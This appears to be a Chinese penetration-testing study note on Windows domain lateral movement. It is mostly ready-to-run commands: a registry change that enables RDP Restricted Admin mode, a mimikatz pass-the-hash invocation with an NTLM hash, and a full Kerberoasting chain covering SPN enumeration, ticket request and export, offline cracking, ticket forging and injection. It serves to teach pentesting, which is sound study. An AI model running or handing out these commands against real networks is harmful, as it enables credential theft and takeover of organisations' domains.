#案例1-域横向移动RDP传递-Mimikatz
除了上述讲到的IPC，WMI，SMB等协议的链接外，获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。

RDP协议连接：判断对方远程桌面服务是否开启（默认：3389），端口扫描判断
RDP明文密码链接
windows: mstsc
mstsc.exe /console /v:192.168.3.21 /admin
linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接
windows Server需要开启 Restricted Admin mode，在Windows 8.1和Windows Server 2012 R2中默认开启，同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持；开启命令：
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行：
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 “/run:mstsc.exe /restrictedadmin”

#案例2-域横向移动SPN服务-探针,请求,破解,重写
https://www.cnblogs.com/backlion/p/8082623.html
黑客可以使用有效的域用户的身份验证票证（TGT）去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN，并使用与SPN关联的服务帐户加密票证，以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5，这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解，即可得到目标服务帐号的HASH，这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN，那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

探针
setspn -q */*
setspn -q */* | findstr "MSSQL"
请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
mimikatz.exe "kerberos::ask /target:xxxx"
导出
mimikatz.exe "kerberos::list /export"
破解
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
重写
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存

大概流程：
启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透
1.关于启动及配置讲解
2.关于提权及插件加载
3.关于信息收集命令讲解
4.关于视图自动化功能讲解
